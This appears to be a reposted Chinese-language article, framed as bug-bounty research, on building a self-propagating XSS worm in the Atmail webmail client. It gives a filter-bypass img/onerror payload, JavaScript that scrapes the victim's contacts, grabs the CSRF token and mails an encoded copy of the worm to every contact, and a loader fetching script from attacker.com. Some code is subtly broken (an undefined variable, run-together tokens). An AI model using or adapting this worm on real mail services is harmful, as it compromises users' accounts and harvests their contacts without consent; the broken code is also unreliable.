這期內容當中小編將會給大家帶來有關如何在Atmail上構建XSS蠕蟲,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
Atmail是一個熱門的云服務以及電子郵件托管提供商,目前有很多公司、主機服務商和ISP都在使用Atmail,比如說DreamHost、LegalShield (美國)、m:tel(波斯尼亞)、iiNet和Optus (澳大利亞)。作為DreamHost上的一名Atmail用戶,當我在專注于漏洞獎勵項目的過程中,我曾見過幾次令我印象深刻的基于電子郵件的跨站腳本(XSS)攻擊。當時我曾嘗試從他們的Web郵件客戶端中尋找安全漏洞,幾個小時后我便開發出了一個可用的Payload,但是我想更進一步,也就是構建一個舊式的XSS蠕蟲。最著名的XSS蠕蟲就是2005年感染MySpace的蠕蟲病毒了,而且在2014年這個蠕蟲的最新變種還成功感染了 TweetDeck。
我將會給大家演示如何構建一個可以通過目標用戶聯系人來進行自我傳播的XSS Payload。
在開始之前,我們需要搭建一個簡單的測試環境。我們可以通過下列命令來發送電子郵件,然后在郵件內容中植入XSS測試Payload:
cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com
接下來,使用Firefox的開發者工具來查看XSS Payload在Web郵件客戶端的DOM中是如何呈現的。
第一步,就是要構建一個能夠繞過Atmail內容過濾器的XSS Payload。我一開始發送了一封包含了全部有效HTML標簽的郵件,然后看看它是否能夠成功送達,盡管我只打算使用<img>標簽。不過,<img>標簽雖然非常適合構建XSS Payload,但是在XSS觸發之前,目標用戶必須要選擇在Atmail中顯示圖像才行。因此我們得使用那些不需要用戶交互便可以呈現內容的標簽,這樣才能提升Payload的質量。
接下來,我開始研究Atmail是如何清除Payload的。Atmail為了對郵件內容進行過濾,并在用戶瀏覽器中顯示語法正確的標記信息,Atmail會對<img>標簽中的字符和HTML屬性進行修改。研究之后我發現,Atmail只接受src、alt、longdesc、style、height和width這幾個屬性,而且我還注意到,Atmail會將單引號轉換為雙引號,移除onerror事件,并且移除所有不包含src屬性的<img>標簽。
雖然onerror事件被移除了,但是如果能夠在<img>標簽中同時使用單引號和雙引號的話,也許能夠繞過Atmail的過濾機制。顯然,這樣是可行的:
<img longdesc="src='x'onerror=alert(document.domain);//><img "src='showme'>
下面就是呈現在Web郵件客戶端中的內容:
<img longdesc="src=" images="" stop.png"=""onerror="alert(document.domain);//&quot;" src="x"alt="showme">
找到了有用的XSS向量之后,下一步就是創建一個Payload來傳播我的電子郵件蠕蟲。我編寫了一份JavaScript代碼,然后完成了下列三件事:
1、 提取目標用戶的聯系人列表;
2、 從Atmail提取有效的CSRF令牌;
3、 向目標用戶聯系人列表中的每一位用戶發送惡意郵件;
代碼大致如下,XSS Payload以URL編碼的形式提供:
//HTTP request to grab victim's contactsxmlHttp=newXMLHttpRequest();xmlHttp.open('GET','/index.php/mail/contacts/viewcontacts/GroupID/0',false);xmlHttp.send(null);response=xmlHttp.responseText; //Extract email addresses and filter duplicatesvar extractedemails = response.match(/[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/igm);var uniqueemails = [];for(vari = 0; i < extractedemails.length; i++){if(uniqueemails.indexOf(extractedemails[i]) == -1)uniqueemails.push(extractedemails[i]);} //HTTP request to get CSRF tokenxmlHttp.open('GET','/index.php/mail/contacts',false);xmlHttp.send(null);response2=xmlHttp.responseText;var csrftoken = response2.match(/name=\"atmailCSRF"value=\"(.+?)\"/im); //Loop through contacts and send emailfor(var i = 0; i < uniqueemails.length; i++) { xmlHttp.open('POST','/index.php/mail/composemessage/send',false); var params = 'atmailCSRF=' + csrftoken[1]+ '&emailTo=' + unique[i] +'&emailSubject=open%20me&emailBodyHtml=%3c%68%33%3e%61%74%6d%61%69%6c%20%65%6d%61%69%6c%20%58%53%53%20%77%6f%72%6d%3c%2f%68%33%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%3c%69%6d%67%20%6c%6f%6e%67%64%65%73%63%3d%22%73%72%63%3d%27%78%27%6f%6e%65%72%72%6f%72%3d%65%76%61%6c%28%77%69%6e%64%6f%77%2e%61%74%6f%62%28%27%61%57%35%6a%62%48%56%6b%5a%54%31%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%63%6d%56%68%64%47%56%46%62%47%56%74%5a%57%35%30%4b%43%64%7a%59%33%4a%70%63%48%51%6e%4b%54%74%70%62%6d%4e%73%64%57%52%6c%4c%6e%4e%79%59%7a%30%6e%61%48%52%30%63%48%4d%36%4c%79%39%68%64%48%52%68%59%32%74%6c%63%69%35%6a%62%32%30%76%59%58%52%74%59%57%6c%73%4c%6d%70%7a%4a%7a%74%6b%62%32%4e%31%62%57%56%75%64%43%35%6f%5a%57%46%6b%4c%6d%46%77%63%47%56%75%5a%45%4e%6f%61%57%78%6b%4b%47%6c%75%59%32%78%31%5a%47%55%70%4f%77%3d%3d%27%29%29%3b%2f%2f%3e%3c%69%6d%67%20%22%20%73%72%63%3d%27%73%68%6f%77%6d%65%27%3e'; xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xmlHttp.send(params);
首先,我嘗試過Base64編碼,然后把XSS Payload嵌入到了onerror事件中。接下來,代碼會使用eval(atob())來解碼并執行Payload代碼:
<img longdesc=" xss/src='x'onerror=eval(window.atob('eGg9bmV3IFhNTEh0dHBS…omitted forbrevity…'));//><img " src='showme'>
但是,我發現Atmail會將我Base64編碼的字符串壓縮到945個字符,這就太短了。所以我打算把它托管到一個外部地址,然后重寫我的XSS Payload:
onerror="include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);"
上面這段Payload代碼會在頁面<head>元素中創建一個新的<script>標簽,標簽中將包含我外部托管的惡意JavaScript代碼。它也采用了Base64編碼:
onerror="include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);"
上述就是小編為大家分享的如何在Atmail上構建XSS蠕蟲了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。